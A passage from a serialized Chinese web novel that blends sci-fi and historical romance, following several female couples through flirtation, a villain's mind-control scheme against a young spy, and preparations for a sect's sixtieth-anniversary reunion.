心里这么想着,也是真有些羡慕。
李司这人自小长在洛阳,不受阿耶的宠爱,心气儿还高,想着旁人不爱她她便自爱,不断磨练,终究觉醒了两种天赋。
忙忙碌碌争功名,一回首,人已三十,感情上却一片空白。
她将军府那么大,冷冷清清的,也想像沈逆这侯府一样,有妻子相伴,管家打理,名厨掌勺,弄月吟风,这辈子也知足了。
趁着那个薄脸皮不在,李司速速向沈逆讨教大婚都该筹备些什么。
沈逆被她问得微微一怔。
“李将军这是要大婚了?冒昧问一句,尊夫人是?”
李司笑得神神秘秘,沈逆忽然想起当初拉李司到御前垫背时,提到窦璇玑受伤,她火急火燎地跑走。如今又替窦璇玑来拜访,这将军夫人除了窦璇玑,还能是谁?
沈逆没怎么关注李司和窦璇玑的私事,又因为曾倾洛全心全意打异兽去了,新的合作探子第五阙正被她的上峰迷得晕头转向,城中的情报与之前相比少了许多,竟变得孤陋寡闻了。
沈逆:“恭喜恭喜,何时大婚,可选好了吉日?”
李司笑得灿烂,“八字还没一撇呢。”
沈逆:……
那你就开始筹备?
也不知是自己问的早,还是李司想的美。
无论如何,能积阴德就随手积一个,她和边烬大婚没多久,名册什么的都还留着,拿来让李司重头到尾拍了一遍。
李司拍完后陷入了沉思。
这清单倒是周全又华贵,全都是天子赏的稀罕物。
她大婚若是有这排场,得是她自己当天子才行。
用完膳,李司也没多留,双妻一同送她到大门口,让侯府马车送她回去。
沈逆喝了点酒,但头脑还算清醒,或许因为酒的关系稍微有些兴奋。
先前答应给第五阙打造趁手的武器,一直没有灵感,搁置着。
方才李司那一通追忆往昔,倒是让她灵光乍现,已经有了初步的构想,不知是不是酒的缘故,今日格外有手感,立即去建模打样。
第五阙把自己天赋的详细资料发给她了,方便她量身打造。
今日先打个小样给第五阙看看,若是喜欢,她就开始着手动工。
送完李司,沈逆就去工作室了,在里面一待就是一个半时辰。
边烬练了身再去沐浴回来,沈逆还在屋内没出来。
想到那声“哼”,边烬一直在门口等着。
直到沈逆将小样做好,从工作室出来打算让侦查鸟送去给第五阙时,一开门,见边烬居然站在这儿。
“怎么?”
沈逆原本是单纯询问,甚至有点心疼的语气。
可因为她长时间专注打样,眼睛又有点不舒服,本能地皱起眉,看上去是有点凶凶的。
边烬眼睫轻闪。
看来师妹是真的在生闷气了。
一贯被沈逆温柔以待,主动纠缠,忽然换了态度,冷冷淡淡的,边烬心上像被针扎了一下。
边烬:“没怎么,就是正好看到解酒药,回寝屋的路上顺手给你送点来。有没有难受?”
沈逆将侦查鸟放飞,本来想说“没事啊,就是眼睛酸酸的”,边烬忽然靠近,手贴在她的腰间,香味让沈逆精神为之一振。
“这醒酒药味浓,我放了些蜜,你应该不会觉得难喝。”
边烬主动时动作很轻,贴在沈逆腰间的手甚至很规矩,只是搭在上面,但这份主动亲密的意味让沈逆心头怦怦直跳。
为什么师姐突然这样?
言语间小心翼翼的。
沈逆梳理了一下线索,很快反应过来,大概是之前她“哼”的那一声,加上方才忙懵了,没像平日对她寸步不离地撒娇,便以为真的生气了。
原来师姐是来哄人的。
哄人的时候也是闷闷的,不会说好听话,但拿来的醒酒药倒是很实用。
好实用的哄人技巧。
沈逆握住醒酒药,嘴角的笑容就要压不住。
强行压下去,还想再欺负一下师姐。
“只有醒酒药么?”
沈逆靠近,双唇和边烬的贴近,只剩最后一点距离,偏偏就停在这儿。
距离好近,沈逆身上带着些海棠酒残留的气息,和她本身的香味融合成了一种独特的气味,萦绕在边烬鼻尖。
不知是被这特殊的气味麻痹,还是被沈逆略略泛红的无辜双眼迷惑,边烬情不自禁地让最后的一点距离消失。
沈逆喜欢和她接吻,她知道的。
一个温柔的吻,或许能驱散沈逆的不开心。
大概是太专注工作的缘故,沈逆唇有些凉凉的,不像平日里湿润火热。
连唇都有点委屈似的。
边烬的唇疼惜地从沈逆的唇面上舐过,是新手的不太确定和郑重其事。
沈逆被她舐得难耐,舌尖从唇缝里探出一点点,勾了勾边烬。
边烬眉心微微往上拧着,轻易就被沈逆勾了进去,唇齿相缠间,忽然听到万姑姑和侍女说话的声音从游廊处传过来。
她们正在沈逆工作室门口,这儿有一处朱漆圆柱在她们身后挡着。
即便如此,从游廊那处走来的人,也很容易看到她俩。
边烬的注意力分明被吸走了,沈逆环住她的脖子,含糊道:“师姐别停……”
这个投怀送抱的姿势让两具柔软发烫的身躯紧紧相贴。
边烬从没想过自己会在光天化日之下,在寝屋之外非私密的地方唇舌缠绵,吻弄不止。
随时可能被发现的紧迫,让一向慢条斯理的边烬心头着慌,着慌的感觉因为沈逆舌尖一而再的挑弄,催生出让她头皮发麻的禁忌感。
像寻了个借口,狠狠地释放快要满载的欲念。
这一场哄师妹的吻,直吻到工作室的沙发上也没能停。
金阳西斜,两人的唇都红红肿肿才勉强停下来。
沈逆喝了酒又累,不知不觉在边烬怀里睡着了。
边烬看着枕着自己手臂入睡的怀中人,长腿不打招呼地架了上来。
应该开心了。
可真荒唐,小时候不高兴了,买吃的哄她。
长大了不高兴,却用接吻来哄。
而且……
腿什么时候长得这般长了?
好美的女人腿。
边烬看着这双无所顾忌的长腿,心里有股邪念在作祟。
刚才接吻的时候,沈逆在下位,边烬单膝跪在沙发面上,不知不觉间捞了她腿弯一下,沈逆整个表情都变得不一样了。
边烬抱着沈逆,看夕阳渐渐沉入地平线之下,眼眸也慢慢被黑夜浸染。
边烬问自己,现在她和沈逆现在做的一切,和最后那一步又有什么区别?
自欺欺人罢了。
……
帝国客栈,顶层。
“嘶……”
裴寂吃疼,打断了这个吻。
曾倾洛在昏黄的灯光中睁开湿漉漉的眼,眼眸还有些失焦,望着裴寂唇角的伤隐约又渗出些猩红。
曾倾洛轻笑一声道:“都说了不要再弄,偏偏不听。现在好啦?疼么?”
说到最后,笑意收敛,到底是心疼。
裴寂又在她唇上吻了吻,说:“不疼。饿不饿?”
曾倾洛:“快饿死了。”
裴寂环着她的腰,将她从书案上抱下来。
“你先去沐浴,我让人送点吃的过来,咱们一起吃。”
曾倾洛说“我自己可以下来”,可是脚一沾地,原体的那条腿便发软得险些失去平衡。
还是被裴寂抱入怀中。
“别逞强。”
曾倾洛乖乖点了点头。
将被扯乱的寝衣理好时,见裴寂正在擦拭书案上的水痕。
曾倾洛昨天就知道那些是什么了,一瞬间脸上滚烫,速速去沐浴。
沐浴的时候,看着镜子里的自己。
这是一具残缺的身体,一半原体一半机械,瘦弱,发育不良的样子,没什么魅力可言。唯一的优点大概就是白净,年轻,所以残存的原生肌肤还算紧致细腻。
这段时日一直在埋头追杀异兽,受了不少伤,大多数伤口都是潦草处理,还有些青青紫紫,看着都挺惨的。
只是,眼下暧昧的红痕和一圈圈的牙印瞩目又突兀。
很多都集中在脖子和肩头,腰侧和义体连接的部位也很多,看得出来裴寂的喜好都在哪些地方。
她从没想过自己的身体会被弄成这样,可是,她的确纵容裴寂对她这么做了。
明知这个女人的身份不同寻常,她还是没能忍住。
曾倾洛揉揉发痛的脑袋,轻声问镜子里的自己:
“怎么会这样啊?”
沐浴穿衣时,曾倾洛正在思考一会儿出去该怎么面对裴寂。
裴寂倒是直接推门进来,吓了她一跳。
“你怎么……”曾倾洛揪着衣襟。
裴寂上来抱住她,亲了亲她的脑袋。
“好香。不是饿了吗?食物送来了,带你出去吃。”
“我自己会出去吃……”
话还没说完,唇就被裴寂封住了,继而肆意地启开。
说要带她出去用餐的人,又抱着她在浴室里吻得擦枪走火。
不知道第几次了,曾倾洛累得胳膊都要抬不起来,最后被弄得哭着求饶了,裴寂才亲亲她红肿的唇,满意地放过她。
一口气吃掉一整碗饭,用完膳后曾倾洛发现那幅画画完了。
完成的画面里,浓稠的深黑更黑,彩光好像距离更遥远了。
不知道为何,每次和那彩光凝视,曾倾洛心口便咚咚直跳。
“你喜欢?”裴寂给自己倒酒。
“没有,看不太懂。”
曾倾洛其实挺喜欢的,可她不太擅长表达“喜欢”。
裴寂套着舒适松散的寝衣,懒洋洋地靠在沙发上,很难想象这么丰润美丽的皮囊,能画出那般黑暗的画作。
“看不懂,嗯,难得有人跟我说实话。”
曾倾洛忽然意识到,对于书画大师而言,“看不懂”说不定是种让人不悦的恶评。
曾倾洛解释道:“我不是那个意思……”
裴寂喝完手里的酒,鎏金酒盏随意一放,酒盏在案面上划过,很快倾倒。
裴寂说:“过来。”
“嗯?”
裴寂撒娇道:“我想抱抱你。”
曾倾洛走过来,裴寂让她背对着自己坐到怀中,双臂从后面环上来,对她说:“在这幅画上写上你的名字。”
“但……这是你的画,我写我的名字不太好吧。”
裴寂亲了亲她的耳朵,“这幅画送给你了,是你的。”
说心里不高兴是假的,可裴寂随手在纸上一笔而就的草稿,都能在暗网拍到天价,这幅画恐怕得价值连城。
见曾倾洛沉默着,裴寂叹了一声道:
“看来你是真的不喜欢。”
“没有,其实,很喜欢……谢谢。”
“既然是你的了,写你的名字有什么不对?就将你的名字写在我的旁边,往后这画流传后世,便是一段能为后人津津乐道的佳话。”
和裴寂的名字写在一起,流传后世?
这种事完全没想过,但曾倾洛有些心动,执了笔,说:“我许久没写字了……”
裴寂懒懒地靠在她肩膀上,笑着亲亲她温软的小耳朵。
“长得这么可爱,字肯定更可爱。”
曾倾洛被她说得面红颈赤,但下笔的时候的确自信了不少。
一个清秀的“曾”字刚刚写完,便听裴寂似在回忆:
“倾洛,你是不是去过北境?我好像在睦洲见过你。”
曾倾洛的动作猛然一顿,仿佛有道清亮的光照入意识中,破开了某种覆盖多日的混沌。
她的确去过北境,也去过睦洲,那时她还在追随沈逆打仗。
牵扯到沈逆的事,让曾倾洛蓦然清醒,她突然起身,差点将裴寂掀翻在地。
曾倾洛:“你……没事吧?”
裴寂没想到她没回答自己的问题,防备这般森严。
“没事。”裴寂心灰意懒般移开目光,没去看曾倾洛,“只是有点倦了。”
曾倾洛听懂她的言下之意。
“我待得太久,该走了。”
轻微的挫败感也让裴寂乏味,疲倦。
“既然你想走,我怎么好留你。”
曾倾洛还待说什么,裴寂已经拢好衣衫。
“不送了。”
曾倾洛走了,但屋子里还留着她的气息。
裴寂独自一人将两壶酒全部喝完,收到曾倾洛的传信。
【好好养伤,药我会再寄给你。】
裴寂只扫了一眼,看完前半句,对后半句嗤之以鼻。
有些意外,肌肤相贴这么些日子,里里外外都熟透了,竟还能抗拒她的提问。
裴寂不觉得自己的天赋之力消失。
虽然只有C极的精神天赋,与她相处的时日越长,关系越亲密,她的精神控制能力就越强。
曾经,即便是S级的机械师,一样被她操控,去狸力三号坑里挖掘出大量星河铬素。之后么,自然是得了辐射病,丢了性命。
刚才只是旁敲侧击问了一句,居然被这只有B级战斗天赋的小娘子提防,还慌慌张张地逃离。
看来,曾倾洛的意志力比她想的要强上许多。
裴寂没回曾倾洛的传信,继续喝酒。
她不会把药寄来的,很快她就会忍不住,亲自找上门,裴寂等着她再自投罗网。
“哼。”
角落里的那张摇椅上不知何时多了个人,用鼻音发出一个讽刺的轻笑。
裴寂继续喝酒,对屋子里多出一个人的事好像全然不在意。
摇椅上的人穿着紫色的官袍,舒舒服服地躺在摇椅上,摇摇晃晃,时不时吹起额头上黄色的符纸,青中带紫的面容荡漾着僵硬的笑容。
“殿下,你的精神天赋好像没我想象的厉害呀,一个小小的探子被你玩弄了好几日,居然在关键时刻跑掉了。那这几日殿下带伤劳作,岂不是一场空?”
裴寂垂着眸,看曾倾洛方才不小心滴下的墨点,突兀地晕开不属于画作原本的纹路,影响了整幅画的走向。
彩光竟变得不那么瞩目了。
裴寂转着酒杯。
“秦无商,你是来送死的吗?”
秦无商笑眯眯地说:“殿下别生气,我是来与殿下合作的。你接近那小娘子不也是想利用她套住沈逆吗?我呢,千辛万苦回到唐Pro也是为了我的宝贝。我已经有了个初步的合作计划,殿下想听听吗?”
第72章
一大早,队正就来敲窦璇玑的门。
“门主在后院等你,让你过去一趟。”
窦璇玑听到“门主”这两个字,精神一拔。
只不过和以前不同,从前听见“门主”,便会在人群之中悄悄寻找门主的身影,即便是远远看她一眼,便能暗暗开心一整日。
如今,却有种说不出的抵触。
有些害怕,更多的是心凉。
她没死的消息别的同僚早已知道,不可能瞒得住,肯定已经传到门主的耳朵里,终究是要来治罪了。
其实在那一夜去靖安侯府的时候,她就抱了必死的决心。
如今让她偷活了这么些日子,算是赚到了。
今日,若是门主要赐她一死,她也没有什么好挣扎好犹豫的,横竖没有能力反抗,门主要她死,她便这条命还给门主,以报答当年的一饭之恩。
若门主还是不依不饶让她再去杀沈逆的话,她便辞官不干了。
还是那句话,那一刀已经算是她报答韩复,她已不欠韩复,不欠丽景门。
离开丽景门的规矩她懂,得归还玉璧,从此旧怨自己吞,新仇无人撑腰。
可以,她认。
当初入丽景门的那块玉璧已经损坏,李司为她手术替换下来也没丢,放在她的抽屉里。
上回来的那一次帮她拿了出来,说用是没法再用,权当个纪念。
那块伤痕累累的玉璧归还便归还吧,她现在身体里的这块不能给,那是李司给她的。
李司已经“坦白从宽”,为了保她的命,那晚李司花了大价钱顾了三名A级机械师,熬夜为窦璇玑量身打造玉璧,手术全程做下来,李司一夜没睡。
李司又花精力又费银子还搭进人情,这玉璧来之不易,窦璇玑不可能交出去。
想起李司,便想到那次在东市对抗异兽,将死之时,李司骂完门主之后望向她的眼神。
真是一条可怜狗。
当时李司对她说的这句话,她一直都没忘记。
这十年来,她从来没有想过丽景门之外的可能性,从未为自己活过一次。
这回无论做什么抉择,都不再是为了丽景门,而是为她自己。
李司若是知道自己笃定之心,会是什么表情,会不会揶揄她榆木脑袋总算开窍。
李司这人一往她脑袋里挤,就不可避免地想到成亲那件事。
成亲……
这两个和自己八竿子打不着的字,又浮现在她脑海里。
当初沈逆和边烬大婚的时候,她和房判还奉旨监督圆房。
成亲的整个过程,她俩都在现场冷眼旁观,此刻一想到大婚,脑海里自动有了画面。
只不过主角从沈逆和边烬,换成了她和……
窦璇玑意识到自己在想什么的时候,忽然一顿,用力甩脑袋。
想这些干嘛,有那黑皮什么事啊!
窦璇玑深吸一口气,去推房判的寝屋门。
太早了,房判还没醒。
窦璇玑不想叫醒她,便写了张纸条,压在床头。
【你可能要换个搭档了。】
本来就写了这短短一行字,想了想又显得无情,便添了后半句。
【能当你搭档,我很开心。】
本想穿着便装去找门主,可是翻了翻衣柜,里面只有三套换洗的丽景门官服,私服完全没有。
算了,就穿这身去吧。
窦璇玑来到后院,还没开口,便看见韩复身前的石桌上放着一身队正的官服,以及随身令牌。
窦璇玑被那官服和令牌吸引过去一息的时间,韩复温和地笑着道:
“乖孩子,这次让你受委屈了。坐。”
韩复今日穿的是窦璇玑最熟悉的门主官服,罩着金属面罩,沐浴在晨光之下,是熟悉的模样。
和那晚温柔地玩弄她的情绪,让她去杀沈逆的,仿佛是两个人。
眼前的熟悉感自带真实,将那血腥绝望的一夜衬得像一场虚假的梦境。
窦璇玑没坐,就站着。
韩复也没强求,为她倒茶。
“你这回也是大意了。我不是完全反对你们结交门外人,毕竟在京城当差,多结交些朋友也便于行走。可偏偏是那靖安侯。”
韩复不用摸索,不偏不倚地往精致的小茶盏中倒茶,正好七分满。
“靖安侯是整个长安城内所有人都盯着的人物,牵扯太多,偏偏你们还被陛下瞧了个正着。我若不逼你行此险招,代价是整个丽景门。丽景门将不再被陛下重用,失去陛下的庇护,下场是什么,你这么聪明,自然明白。”
窦璇玑在来之前,想的满肚子话被抽了个干净。
她想过死,想过再被威胁,却没想到眼前的情况。
韩复道:“我与边烬自小就认识,她的手段我了解,她不会真的杀了你,所以我才放心让你去。”
说到此处,韩复缓了语调。
“即便没死还是受了伤,受了委屈,璇玑,你救了整个丽景门。我想给你的不止小小的队正,但你太年轻,若是升得太快恐怕有人会不服。所以先从队正做起吧。这段时日你好好休息,什么时候想回来继续当差,什么时候再回来,不着急。”
不到二十岁就升任队正,在丽景门里很罕见。
窦璇玑看着这身官服,彼岸花在胸前盛开得更加鲜艳,灼人双目。
曾几何时,她日夜不停地上值,不眠不休地排查,就是为了能够成为丽景门的骄傲,门主的骄傲。
做梦都想早点升为队正。
就在那夜之前,她的人生理想只有一个,那就是在二十五岁之前当上队正。
没想到这个梦想猝不及防就实现了。
可是,她已经不想要了。
韩复这番安抚,让那种疲软的倦意再次卷上心头。
门主,我要离开丽景门。
这句话已经到了嘴边,最后,变成了一声闷闷的“嗯”。
窦璇玑一直垂着的脑袋,忽然抬了起来,直视韩复。
韩复虽然看不见,但失明多年,她已经能够通过气流甚至是细微的呼吸变化,来判断面前这个人状态的改变。
方才凌乱的呼吸,代表她正陷入一种胶着犹豫的状态。
而此时呼吸渐渐平稳,气流也从下方流荡变作直面而来。
说明她下定了决心,且在直视自己。
她的气场变硬,变坚定了。
“好。”窦璇玑道,“那这身衣服和令牌我就拿回去了。多谢门主。”
韩复嘴角轻提,茶自己喝了,没再说话。
……
回到寝屋,刚要推门进去,房判一个猛扑往外冲,差点被她掀飞。
窦璇玑:“你干嘛,吓我一跳。”
房判手里攥着窦璇玑写给让她的纸条,电子音都拔高了一截。
“我还想问你干嘛呢!这是什么,遗书!”
“嘘。”窦璇玑捂着她的嘴,将她推到屋里。
关上屋门,房判上上下下看她。
“你没事吧?怎么总趁我睡觉去做危险的事?以后我还敢不敢睡觉了?”
窦璇玑一言难尽,她的确是怀着赴死的决心去的,只不过没死成。
将队正的官服和令牌往床上一丢,房判的注意力被吸引过去,她当然也认得这身官服意味着什么,“咦”了一声。
窦璇玑把方才和韩复的对话说了一遍。
房判问她:“那你收下官服和令牌,你想继续留下吗?”
“是,不过我不是为了继续替丽景门卖命才留下。”
韩复的反复无常,让窦璇玑彻底看清了她。
韩复并不在乎下属的生死,无论是威逼还是利诱,她手段高超,唯一的目的就是控制下属为其办事。死,或者更痛苦地活下去。
窦璇玑也曾将自己当做随时都能交出性命的死士,一把没有感情的武器,以完成任务为荣。
可即便她锋利又毫无人情,有人愿意一次次地救回她这条廉价的命,也有人愿意倾家荡产为她更换玉璧,更有人日夜不休地陪在她身边照顾她。
若还浑浑噩噩被不值得的人使用,岂不是辜负了真正在意她的人?
离开丽景门,只是逞一时之快,离开后她要是成为沈逆门客或是护院,曾经身为丽景门女官的种种恩怨反而会转移给沈逆,岂不是恩将仇报?
而她除了以暴制暴,一无所长。
离开丽景门她便是一介白衣,更是毫无价值。
更何况,她要做点自己喜欢的事,可如今的她暂时还不知道自己喜欢什么。
若她继续留在丽景门则不同。
丽景门是长安城内信息流通最快,最多的部门之一。无论这队正的身份是安抚,还是继续迷惑的手段,都能让她接触到更多的信息。
如今格局瞬息万变,丽景门的队正,比门客或护院都更能助沈逆一臂之力。
房判听完她所想,感叹道:“这么私密的想法都告知我么?不怕我将你卖了?”
窦璇玑听她这话,“呵”了一声。
“你这种被卖了还帮人数银子的,能卖谁?”
还有些关于房判的担忧,窦璇玑没好意思直接跟房判说。
她若走了,房判会和谁搭档?
别的女官的脾气她可再清楚不过,出任务的时候没人会罩着房判,甚至会以欺负这傻子为乐。
多方谋虑之下,窦璇玑决定继续留下来。
房判:“那……”
知道她要问什么,窦璇玑直接说:“以后咱俩还是搭档。”
房判没法露出笑的表情,就在原地搓了几步,电子音“嘿嘿”两声。
窦璇玑也挺开心,憋着笑,在房判胳膊上捶了一下。
房判:“那你之前给我写的纸条我能留着吗?”
窦璇玑怪尴尬的,“想留你就留着吧。今日轮休,你陪我上街一趟。”
“做什么?”
窦璇玑开心道:“买裙子去!”.
这几日贴心有时,热吻有时,可亲密度就像池中的王八,趴那一动不动,一直停留在五十一。
沈逆一边忙着城防,一边在思考怎么才能进一步提升亲密度的时候,师门聊天群里忽然热闹起来。
下个月初二就是双极楼六十周年,三师姐找到了边烬,打算让她牵头,召集散落在帝国各处的同门好好聚一聚。
沈逆身为群主,却不怎么看群里的消息。
这件事还是边烬来问她才知晓。
边烬:“你想去吗?”
边烬知道沈逆不爱热闹,朝会或筵席能逃就逃,实在逃不了的也是一副敷衍的姿态,这种师门聚会她一贯不热衷。
沈逆的确不太想去,可想起边烬跟她说在死城成长经历那夜,什么也没做就加了一个亲密度。
一同追忆过去,应该也是心灵相贴,提升亲密度的方式之一。
而且边烬去了,她不去不合适。
“你去我自然去。”
年初大婚的时候,师门来了不少人,不过也仅限于久居长安城的同门。
这次六十周年是个大日子,很多散落在帝国各处,甚至是它国的同门都会赶回来一聚。
如今黑魔方作祟,在沈逆升级追踪器之后黑魔方被强行压制了一波,平常百姓的生活稍微恢复正常。
只是不知这正常的日子能坚持多久。
在很多人心里,可能这是最大的一次聚会,也是最后一次相聚。悲喜交加的心情催着,更加期待重逢。
即便弟子们已经不再生活在双极楼内,但双极楼旧居犹在,双极楼同门无论行至何方,都以双极楼门下为荣。
风风雨雨一整个甲子过去,师尊仙逝,边烬作为大师姐自当策划好师门重聚。
作为大师姐家属,沈逆即便不喜人多,也是要去捧捧场的。
正好她们的夏衣做好了,又是同款不同色的情侣装,美不胜收,还没来得及展示人前,正好这次聚会打头阵。
边烬平日里不善言辞,但要组织策划还是手到擒来,毕竟治理过百万大军,这种聚会难不倒她。更有三师姐这位长安百晓生做副手,两日就把所有细节安排妥当。
只是最后落点在长安城西市最大的酒肆里。
边烬有些不喜,觉得太过嘈杂。
沈逆宽慰她,“现在长安城里最红火的就是各大酒肆,喝个烂醉是时下最多人崇尚的生活方式。若是师姐觉得聚会太麻烦,我倒有个妙计,不去酒肆,咱们直接找个书阁,一人一句追忆往昔,清清醒醒硬座一整夜,包管没有下次聚……”
边烬捏住她的嘴。
“好了,知道你牙尖嘴利。”
边烬同意了酒肆作为结尾。
沈逆被她捏的那一下心里麻酥酥乱糟糟的。
师姐的小性子又出现了,都会捏她嘴,数落她了。
边烬正在和三师姐语音通话。
沈逆在她身后转了好多圈,就等着看看能不能转到她烦了,再多捏一捏,骂一骂。
边烬正在对住宿的细节,沈逆在她眼皮子底下晃了好几圈。
边烬一边说话,一边看过来。
沈逆忽然意识到,师姐在干正事儿,自己怎么跟只苍蝇一样乱转,怕是会打扰到她。
轻轻捏捏和可爱的数落恐怕是没有了,说不定会收获一对真实的冷眼。
沈逆反省的当下,没想到坐着的边烬单手伸过来,揽住了她的腰肢。
跟三师姐说话还没停,抱着沈逆将她拉近自己,温热的手掌在她后腰上轻轻拍了几下,终于说完这句话,将电子表放远了些,抬头小声问沈逆:
“有事跟我说吗?我这边很快结束了。”
半点没真恼她,脾气好得要命。
小时候只觉得师姐性子严厉疏冷,即便宠她,也是宠小孩那种属于长辈的宽容。
与现在还是很不一样的。
现在的宠,更像是纵容,和独一份的温柔。
那头三师姐又开始说各位同门抵达的时辰,沈逆乖乖的不说话。走了半天,安静地看向自己想坐下休息的地方——边烬的腿上。
边烬眨了眨眼,没拒绝。
三师姐的声音传来。
“……所以预定一晚的客栈足够啦。”
沈逆分开边烬的膝盖,坐到她右腿腿面上,捧起她的脸,娴熟地启了那双唇齿,游刃有余地勾她来吻自己。
边烬脖子上扬着,秀颈曲线柔滑优美,展露无疑。
下巴抬起,弧度宛若妙手丹青一笔挥就。
沈逆一边和她接吻,指尖一边慢悠悠地在她上展的脖子上又点又碾,勾勒着她漂亮的轮廓。
以前没用过的新手势,有点痒。
像坏心眼的小宠挠着主人的心。
“好多年没见了,据说很多师妹师弟听说你要来,都有点紧张。”三师姐笑了一下,“大师姐你向来严苛,小时候被你罚过的,迄今提到你的名字都犯怵呢。”
边烬被沈逆吻得魂不守舍,实在无法和三师姐对话。
正要去切断语音,手被沈逆执了回来,亲她的手背。
酥麻感化作一道道电流,从手背闪入心口,边烬知道沈逆又要使坏捉弄她。
沈逆听到三师姐这番话,在心里嗤笑一声,相当没规矩地捏住边烬的下巴,将她的脸侧到一旁,露出脖子的侧面。
唇舌纠缠被迫中断时,边烬微微睁开眼,下一刻,侧颈被沈逆咬住时,一瞬的酥软又让她本能地闭上眼。
声音快要藏不住。
沈逆很贴心地捂住边烬的嘴。
一边捂着一边咬,边烬微睁的眼神被莫名的情绪染湿,混沌不堪,胸口起伏更甚。
沁香和柔软被沈逆肆无忌惮地撷取。
受着大师姐管教长大的同门,永远都不会知道严厉禁欲的大师姐截然不同的另一面。
:
第73章
皮肉被磨得微痛,几欲漏出的声音被边烬压抑回去。
单手环着沈逆已经不够,双臂是何时箍住沈逆的软腰,边烬已经不记得。
只记得三师姐唱了一会儿独角戏,发现对面沉默着,以为边烬在忙别的事,便道:
“那差不多了,还有些细节明日再说,不打扰大师姐啦。”
边烬撑着理智,平静地“嗯”了一声。
通话很快被挂断,沈逆对着边烬笑。
边烬微微叹息,“戏弄我开心吗?”
沈逆大言不惭,“开心。”
边烬的衣襟被扯松,露出一截脖子。
沈逆还想再亲,边烬托着她的腰,无奈道:“你这样,聚会那日恐怕消不掉的。”
沈逆随口胡说:“那正好,便让同门看看你我感情甚好,免得担心。”
边烬皱眉道:“这不好让旁人瞧见吧。”
“也对哦,那你得答应我换个地方留印子。”
“你要换哪儿?”
沈逆轻笑一声,指尖往下,在她腿内侧划了一下。
边烬眼睛微微睁圆,完全没想到她会划那里,耳尖不受控制地迅速变红。
触觉指数忽然飙升到三百附近,沈逆被那数值吸引了注意力,下一刻,就被边烬抱起来,坐到一旁的沙发上。
“师姐……”
后面“逗你的”这三个字还没来得及说,边烬便热着脸快步离开。
沈逆侧卧到沙发上,枕着自己的手背,眼眸痴痴的,自言自语般:
“好喜欢你……”
喜欢到心口隐隐作痛.
聚会前两日。
边烬听三师妹说曾倾洛没回她的信,完全出于失踪状态。
边烬问沈逆:“倾洛有联系你吗?”
“没有,自从她说要去捕杀异兽后,隔三差五会给我报个平安。这几日却像消失了一样。”
“我见过她一回,先前她也会给我传信说每日的动向,三天前开始就断了。不会出什么事吧?”
“不会,放心。”沈逆吃着水嫩嫩的桃说,“我帮她升级探测模块的时候,顺便给她加装了一个监护程序,可以实时显示她的生命体征。为了她的隐私着想,只有生命体征出现异常波动,才会自动开启寻找模式。”
沈逆打开日志,投影给边烬看。
“这三天的确有些波动,心率一直保持在高位。应该是追捕异兽时大量运动导致的心率上升。其他的微有起伏,但都在正常的范围内。”
边烬:“我给她通话,问她来不来聚会。”
沈逆知道边烬担心曾倾洛,只是她的说辞恐怕会严厉些,孩子大了,有自己的私密,不想长辈成天盯着,可以理解,毕竟她就是这么过来的。
沈逆自告奋勇道:“还是我来打吧,别吓着孩子。”
边烬:?.
曾倾洛这三日过得浑浑噩噩,的确没时间向师姐们报平安。
前几日在帝国客栈,日夜颠倒,实在没有精力联系。
离开后,打了一只异兽,魂不守舍,险些丢了性命。
伤口痛了一整晚,也想了那个人一整晚。
原本疼得无法下床,可是想到答应了她要把药寄过去,不好食言,便撑着身子起床,打了一剂镇痛针,到附近的药店亲自选药。
药到手,想要亲自送过去的念头在心里横冲直撞着,终究还是作罢。
还是不要见裴寂,对她们两人来说都好。
药寄出去了,也厚着脸皮再传了一封信给裴寂,把这些药复杂的使用剂量和方式列了一个条理清晰的清单发给她。
一直等到晚上,也没有收到裴寂的回信。
曾倾洛甚至疑神疑鬼去查了余额,确定没有欠费,飞鸽传信处于能够正常工作的状态。
看来对方没回,不是因为别的,单纯不想回她。
……
嗡——
电子表忽然震起来。
累透的曾倾洛不知什么时候睡着,猛然惊醒,以为是裴寂来联系她。
心头的欢愉才冒尖,发现不是裴寂,而是沈逆的通话申请。
曾倾洛立即坐直,接通之前看了一眼镜子里的自己,重点检查了一下露出的脖子部位,有没有露出一些暧昧的痕迹。
确定都遮住后,接通了通话。
沈逆“呀”了一声开场。
“怎么觉得几天不见,小倾洛气色不错呢?”
沈逆不过是想活跃一下气氛,没想到误打误撞的说中了一些事,曾倾洛面上发烫,急忙说:
“没有啊,最近一直都在追杀异兽,根本没有时间做别的事情,觉都睡不好,气色怎么会好……”
曾倾洛不会说谎,一说话就没底气,短短的一句话被她越说越弱声。
话是不是故意说的,很容易分辨。
沈逆还没问她最近在做什么,为什么一直不联系,她就自己主动交代一堆,八成不是真的,心虚。
要不是一脸严肃的边烬坐在一旁,像考官一样板着脸听着,沈逆或许会很不正经地向她打趣,问她是不是遇上桃花了。
边烬在么,不好乱开曾倾洛玩笑。
边烬也听出了曾倾洛的言不由衷,暗暗看向沈逆。
沈逆知道她想担心曾倾洛,又不想刺探她隐私。
沈逆很有分寸道:“看了师门群了吧?六十周年聚会你可一定要来,我和你大师姐都很想你。”
曾倾洛先前扫过一眼活跃的师门群,一转头就忘了这件事。
被沈逆这么一提醒,立即答应下来。
“我一定到!”
“乖了。”
又聊了一会儿,约定好“后天见”,挂断通话后,曾倾洛凉飕飕的心因为沈逆的关心短暂回暖了一下。
洗了澡出来,躺在窄窄的单人床上。
夜幕降临,她所租住的区域很嘈杂,时不时能听见楼下打架斗殴和酒鬼呕吐的声音。
翻了个身,紧紧抱着胖嘟嘟的兔子玩偶,还是没有睡意。
身体很奇怪。
之前的十八年,曾倾洛从未做过那些事,也就根本没想过。
可一旦被打开了阀门,独处的时光便格外难熬。
前几日一直都在做那件事,被抱着睡了几夜,离开她,竟矫情到无法独自入睡了。
想念她的怀抱和温度。
曾倾洛难受地又翻了个身,拿来电子表。
【现在去找你,会很打扰吗?】
字打上去了,但是想了想,还是忍住了,没发出去。
别想太多,睡吧,明天准备一下,后天好好参加聚会,别让师姐们担心…….
聚会当日。
中央驿站已经向平民开放,双极楼门内外弟子一共来了进百人,浩浩荡荡往城郊去。
双极楼坐落在长安城郊的东西双极峰之中,曾经是名满天下的第一宗门,师尊是罕见的双S级机械师,门下弟子天赋极高,更不用说还有沈逆和边烬这两位帝国双子星。
昔日繁盛的师门,因为师尊的早亡和边烬失踪三年,名存实亡。
同门各奔东西去谋前程,双极楼内还留存着一些不愿离去的老人打理屋舍院落。
这次聚会回到宗门,即便楼中留守打理得已经很细致,可人少地广,一些房屋绿植维护不善,损坏枯萎,和记忆中大相径庭,还是有种时过境迁的苍凉。
同门一起上山,三三两两去故居追忆。
